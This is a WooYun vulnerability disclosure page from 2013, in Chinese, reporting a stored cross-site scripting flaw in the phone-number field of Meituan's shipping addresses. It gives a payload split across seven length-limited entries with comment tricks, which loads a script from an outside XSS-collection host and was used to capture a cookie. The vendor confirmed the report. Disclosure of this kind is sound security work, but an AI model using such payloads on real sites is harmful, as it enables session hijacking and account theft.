当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
美团网存储型XSS一枚
相关厂商:
漏洞作者:
提交时间:
2013-11-01 11:46
修复时间:
2013-12-16 11:47
公开时间:
2013-12-16 11:47
漏洞类型:
xss跨站脚本攻击
危害等级:
自评Rank:
20
漏洞状态:
厂商已经确认
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2013-11-01: 细节已通知厂商并且等待厂商处理中
2013-11-01: 厂商已经确认,细节仅向厂商公开
2013-11-11: 细节向核心白帽子及相关领域专家公开
2013-11-21: 细节向普通白帽子公开
2013-12-01: 细节向实习白帽子公开
2013-12-16: 细节向公众公开

简要描述:

美团网存储型XSS一枚

详细说明:

美团这个利用有些难度,漏洞存在于账户信息的收货地址中,在电话号码输入栏里未作过滤,但是限制了长度,只接受20个字符,所以利用起来需要花费些周折,
主要是利用了html的注释符号“/**/”,拼接xss payload
先在本地测试,

<html><body>
<td>9<script>a="d"/*</td>
<td>9*/+"ocument.wri"+/*</td>
<td>9*/"te('<script "+/*</td>
<td>9*/"src=http://x"+/*</td>
<td>9*/"ss.tw/4677><"+/*</td>
<td>9*/"\/script>')";/*</td>
<td>9*/eval(a)</script></td><html><body>


测试成功
一共需要添加7条收货地址,在添加地址时,电话号码使用13112341234作为占位,新建完成后,从最后一条地址开始编辑,在电话号码栏输入对应代码
7条地址的电话号码分别输入对应上述代码,一定要从后往前编辑,因为html的注释"/*"会注释掉后面的代码
编辑完后如下图:

Screen Shot 2013-10-31 at 9.50.09 PM.png


源代码如下:

1.png


2.png


3.png


4.png


漏洞证明:

获取到的cookie

Screen Shot 2013-10-31 at 10.21.35 PM.png

修复方案:

过滤
@wooyun,这下写得够详细的了吧,能整明白了不,再审核不过,我就只能呵呵了

版权声明:转载请注明来源 m00zh33@乌云


>

漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-11-01 12:02

厂商回复:

感谢,正在处理中。

最新状态:

暂无